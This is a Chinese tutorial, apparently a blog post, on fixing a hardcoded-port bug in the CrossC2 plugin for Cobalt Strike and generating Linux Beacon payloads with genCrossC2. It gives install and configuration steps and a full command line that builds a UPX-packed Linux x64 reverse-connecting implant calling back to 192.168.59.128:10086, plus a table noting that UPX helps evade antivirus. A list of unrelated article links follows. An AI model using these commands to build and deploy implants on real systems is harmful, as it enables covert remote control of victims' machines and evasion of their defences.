Cobalt Strike渗透生成 linux http Beacon不生效bug分析与解决方法

目录

[一、Linux Beacon生成问题描述](#一、Linux Beacon生成问题描述)

[二、Linux平台 Beacon生成解决方案](#二、Linux平台 Beacon生成解决方案)

1、genCrossC2安装

(1)基础文件下载

(2)构建genCrossC2环境

(3)修改cna配置文件

2、genCrossC2使用

(1)图形化方法

(2)命令行方法


由于CobaltStrike默认情况下并不支持生成linux的https beacon文件,需要使用genCrossC2生成多平台的beacon文件,但是图形化生成Linux Beacon文件有时候会失败,本文分析其不可用的原因,并给出解决办法。

一、Linux Beacon生成问题描述

在使用genCrossC2图形化生成beacon的方法中,无论如何配置端口均不生效,监听的端口一直都是CS服务器的IP地址192.168.59.128以及端口号4444,效果如下所示。

这是因为cna文件这个配置文件将lhost和lport配置为固定内容,如下所示。

在代码的createCrossC2ListenerDialogCallBack函数中,当创建 HTTPS 类型的 Listener 时,存在硬编码的端口配置,这里明确指定了port => 4444,即 Listener 的本地监听端口被硬编码为 4444,未通过用户输入或配置动态修改。故而即使配置了lport,其配置依旧不生效:

复制代码
listener_create_ext(
  "CrossC2 reverse HTTPS { $listener }{ $system $arch }", 
  "windows/beacon_bind_tcp", 
  %(host => "127.0.0.1", port => 4444, CrossC2Beacon => $c2Data, CrossC2libBeacon => $c2_libData)
);

二、Linux平台 Beacon生成解决方案

genCrossC2 是 Cobalt Strike 官方提供的 跨平台 Beacon 生成工具,支持生成 Windows、Linux、macOS 等多种系统的 Beacon 载荷,适用于红队渗透测试和内网横向移动。其github网址如下所示。

复制代码
https://github.com/gloxec/CrossC2

1、genCrossC2安装

**(1)**基础文件下载

在github下载Realse的Cross C2,这里选择v3.3-stable版本,如下图红框所示。

以本机为例,我计划在windows执行genCrossC2,故而需要下载win版本和cna配置文件,如下图红框所示。

(2)构建genCrossC2环境

将下载后的文件解压后放到同一文件夹,并将Cobalt Strike服务器生成(./teamserver 运行时自动创建)的 .cobaltstrike.beacon_keys密钥文件也放到文件夹中,如下所示。

.cobaltstrike.beacon_keys文件为CS服务端运行时生成,该文件的路径来源如下所示。

**(3)**修改cna配置文件

修改 CrossC2-GithubBot-2023-11-20.cna 配置,CC2_PATH 填当前脚本的绝对路径,CC2_BIN 填 genCrossC2.exe 相对于 $CC2_PATH 的相对路径,注意 windows 要用双反斜杠,效果如下所示。

2、genCrossC2使用

genCrossC2可以通过命令行和图形化两种方法生成,但是图形化方法有bug,默认的lhost为本机的vmnet8的ip地址且无法修改。只能配置为监听CS Server的本地ip地址对应的4444端口。对于一些特殊的监听ip地址不是本地ip地址,如CS Server使用虚拟机kali作为攻击机这种情况,图形化方法不可用,因为其无法指定非CS服务器的IP地址。

(1)图形化方法

Cross2插件的目录位置(D:\web\cs4.7\genCrossC2.Win),具体如下图所示。

修改 CrossC2-GithubBot-2-23-03-27.cna文件,用记事本打开,修改CC2_PATH和CC2_BIN路径,改为cs服务端genCrossC2.win的路径。

需要将插件CrossC2安装到cs中,依次点击cobaltstrike-脚本管理器,如下图所示。

选择我们的插件CrossC2.cna后载入,如下图所示。

选择插件后,菜单栏中即会出现cross2,使用它即可生成linux的Beacon,如下图所示。

点击菜单栏CrossC2直接生成linux的Beacon文件,操作方法CrossC2-Create CrossC2 Listener-Create reverse Https,效果如下所示。

在弹出的对话框中进行配置,默认的配置如下所示,很明显没有ip地址。

而且无论如何配置端口,命令使用默认继承的lhost和port进行reverse方法。故而选择不使用图示法,正常情况下其URLI应填写主机IP地址10.1.0.21,端口填10086,如下图所示。

无论如何修改,命令行如下所示,其host和port均为改变,图形化的方法只配置本地ip:4444端口的情况。

那么当想配置ip地址不是CS服务的本地IP地址,端口号非4444时,要如何进行配置呢,此时需要使用命令行方法进行指定,参考(5)。

(2)命令行方法

genCrossC2 是用于生成跨平台 C2 载荷的工具,其命令行使用需指定 genCrossC2.exe 程序及相关参数,基本用法如下:

复制代码
genCrossC2.exe [C2 域名/IP] [端口] [beacon 密钥路径] [附加参数] [目标系统] [架构] [输出文件] [可选参数]
  • 必选参数
    • C2 域名/IP:攻击机(如 Kali)的 IP 或域名(如 192.168.59.128)
    • 端口:C2 监听端口(如 10086)
    • beacon 密钥路径:CS的 beacon 密钥文件路径(如 ./.cobaltstrike.beacon_keys)
    • 目标系统:目标操作系统(如 Linux、MacOS、ESXI 或 Linux-bind)
    • 架构:目标架构(x64、x86、M1)
    • 输出文件:生成的载荷保存路径(如 /tmp/c2payload)
  • 可选参数
    • upx:使用 UPX 压缩载荷(需工具支持)
    • raw:生成未压缩的原始载荷
    • c2profile:指定 C2 配置文件路径(增强隐蔽性)

举例:如下命令生成一个经过 UPX 压缩的 64 位 Linux 反向连接载荷,当目标主机运行该载荷时,会主动连接 192.168.59.128 的 10086 端口,与 C2 服务器建立加密通信,实现对目标的远程控制。

复制代码
genCrossC2.exe 192.168.59.128 10086 ./.cobaltstrike.beacon_keys Linux x64 cs_https_payload.out upx
序号 参数值 含义说明
1 genCrossC2.exe 跨平台 C2 载荷生成工具主程序,用于生成适配不同系统的 Cobalt Strike Beacon。
2 192.168.59.128 C2 服务器(攻击机)的 IP 地址,生成的载荷将向此 IP 发起反向连接。
3 10086 C2 服务器的监听端口,需与 Cobalt Strike 中配置的 Listener 端口保持一致。
4 ./.cobaltstrike.beacon_keys 指向 Cobalt Strike 的 beacon 密钥文件,用于载荷与 C2 服务器的加密通信验证。
5 Linux 指定目标操作系统为 Linux,生成适配 Linux 环境的载荷。
6 x64 指定目标系统架构为 64 位,确保载荷在 64 位 Linux 系统上正常运行。
7 cs_https_payload.out 生成的载荷文件保存路径及名称(当前目录下的 cs_https_payload.out)。
8 upx 启用 UPX 压缩,减小载荷文件体积并增强一定程度规避杀软检测。
相关推荐
赖small强2 小时前
【音视频开发】Linux 平台图像处理与视频录制全流程指南 (Ingenic T41)
linux·图像处理·音视频·isp·视频录制
w我是东山啊2 小时前
ARP的具体过程和ARP欺骗
linux·服务器·网络
橙露2 小时前
PLC编程语言大比拼:特性解析与场景选型指南
大数据·linux·运维
The Chosen One9853 小时前
【Linux】制作进度条小程序、git入门 (add、commit、push三板斧)以及git的其他问题
linux·运维·git
Crazy________3 小时前
45Ansible Roles:标准化部署的终极利器
linux·运维·服务器
知识分享小能手3 小时前
CentOS Stream 9入门学习教程,从入门到精通,CentOS Stream 9 磁盘存储管理 —语法详解与实战案例(7)
linux·学习·centos
wadesir3 小时前
Linux网络优化服务配置(从零开始提升服务器网络性能)
linux·服务器·网络
tianyuanwo3 小时前
从PAM到零信任:Linux密码认证体系的深度解析与演进
linux·运维·服务器·pam·密码认证
unclecss3 小时前
键盘输入延迟 800 ms?!——一次终端“假死”排查笔记
linux·运维·笔记·性能优化·auditd